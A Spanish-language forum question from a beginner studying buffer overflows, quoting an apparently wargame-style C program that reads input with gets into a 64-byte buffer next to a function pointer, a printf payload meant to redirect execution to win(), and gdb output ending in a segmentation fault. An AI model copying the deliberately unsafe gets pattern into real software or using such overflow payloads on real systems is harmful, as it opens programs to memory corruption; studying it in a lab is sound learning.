Soy un principiante en el desbordamiento de búfer, he estado estudiando este tema desde hace unos días y encontré este ejercicio (código de: aquí )
Creo que entiendo el concepto básico, escribo más de 64 bytes de caracteres y la función gets desborda la siguiente dirección en la pila porque no puede determinar la longitud de mis caracteres y sobrescribo la siguiente dirección con una ubicación de mi elección que el esp ejecuta ¿tengo razón?
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
Siguiendo el código, uso el comando printf en el terminal
printf "qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqbqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\xca\x06" | ./ex3
Obtengo el error de seguridad que se supone que debo hacer y el printf en el programa me muestra que estoy sobrescribiendo con la dirección correcta
(gdb) x win
0x6ca <win>: 0xe5894855
terminal:
calling function pointer, jumping to 0x000006ca
Segmentation fault